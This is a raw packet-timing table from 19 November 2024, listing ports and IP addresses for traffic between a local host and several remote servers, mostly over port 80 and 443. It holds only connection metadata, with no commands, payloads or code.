Nov 19, 2024 20:05:47.995995045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996006012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996016979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996028900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996049881 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996049881 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996062994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996149063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996160984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996171951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996181965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996212006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996222973 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996311903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996324062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.996362925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.996387005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.043303013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.049299955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.075006008 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.075023890 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.075100899 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.075176954 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.075217962 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.075304985 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.077589989 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.077610016 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.077682018 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.077699900 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.077749968 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.079638958 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079657078 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079708099 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079714060 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.079730034 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079780102 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.079785109 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079807043 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079819918 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.079839945 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.079866886 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.079935074 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.080287933 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.080338955 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.080379963 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.080394983 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.081331968 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.081348896 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081361055 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.081367016 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081516027 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081836939 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081885099 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.081911087 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081928968 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.081979036 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.083192110 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.083204985 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.083214998 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.083220959 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.083818913 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.083966970 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.084018946 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.088123083 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.088145971 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.088239908 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.088413954 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.088427067 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.088641882 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.088650942 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.090482950 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.090514898 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.090675116 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.091548920 CET	52522	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.091568947 CET	443	52522	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.091934919 CET	52523	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.091948986 CET	443	52523	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.093630075 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.093666077 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.093828917 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.094114065 CET	52524	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.094130039 CET	443	52524	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.094376087 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.094404936 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.094445944 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.094460011 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.094470024 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.094516039 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.094669104 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.112445116 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.113035917 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.113059044 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.113559008 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.113576889 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.144896030 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.145442963 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.145463943 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.146017075 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.146034002 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.153773069 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.154334068 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.154356956 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.154709101 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.155345917 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.155436039 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.155935049 CET	52519	443	192.168.2.7	108.139.47.33
Nov 19, 2024 20:05:48.161899090 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.161973953 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.162091017 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.162142038 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.165118933 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.165155888 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.165338993 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.165575981 CET	52525	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:48.165589094 CET	443	52525	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:48.185302973 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.185338020 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.185411930 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.185425043 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.185462952 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.185482025 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.203340054 CET	443	52519	108.139.47.33	192.168.2.7
Nov 19, 2024 20:05:48.214061975 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.214235067 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.214325905 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.214515924 CET	52517	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.214529991 CET	443	52517	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.217871904 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.217910051 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.218008041 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.218255997 CET	52526	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.218271971 CET	443	52526	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.251765966 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.251796007 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.251847982 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.251872063 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.251898050 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.251905918 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.254183054 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.254200935 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.254283905 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.254291058 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.254338980 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.255023956 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.255467892 CET	443	52516	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:48.255537033 CET	52516	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:48.256079912 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.256134033 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.256172895 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.256176949 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:48.256208897 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.256223917 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:48.260304928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260333061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260344982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260396004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260396004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260418892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260432005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260463953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260473013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260476112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260490894 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260490894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260520935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260520935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260569096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260581017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260591984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260601997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260601997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260622025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260647058 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260723114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260735035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260746956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260757923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260770082 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260785103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260823965 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260859013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260870934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260883093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260919094 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260963917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.260971069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260982990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.260994911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261034966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261044979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261056900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261068106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261154890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261164904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261178017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261189938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261200905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261204958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261214018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261234999 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261328936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261341095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261346102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261353016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261364937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261374950 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261375904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261399031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261425018 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261470079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261482954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261495113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261512041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261523008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261523008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261526108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261538982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261559010 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261584997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261692047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261703968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261715889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261725903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261841059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261847019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261858940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261871099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261882067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261893988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261904955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261914968 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261917114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.261954069 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.261954069 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262068033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262083054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262125015 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262140036 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262159109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262170076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262181997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262192011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262204885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262212038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262212038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262280941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262283087 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262330055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262341022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262342930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262382030 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262517929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262528896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262542009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262553930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262566090 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262566090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262578011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262589931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262599945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262604952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262604952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262625933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262660980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262795925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262808084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262819052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262830973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262840986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262850046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262854099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262871027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.262873888 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262903929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262939930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.262962103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263046026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263057947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263068914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263081074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263092995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263108969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263111115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263138056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263145924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263587952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263600111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263611078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263622046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263633966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263644934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263655901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263658047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263658047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263668060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263679028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263690948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263703108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263708115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263708115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263715029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263726950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263727903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263737917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263750076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263765097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263777971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263778925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263778925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263802052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263870955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263936996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263950109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263961077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263972044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.263978958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263992071 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.263992071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264004946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264017105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264029980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264040947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264043093 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264043093 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264051914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264062881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264072895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264117956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264117956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264276981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264288902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264303923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264317036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264327049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264338970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264344931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264345884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264353037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:48.264394045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:48.264394999 CET	52448	80	192.168.2.7	185.215.113.206
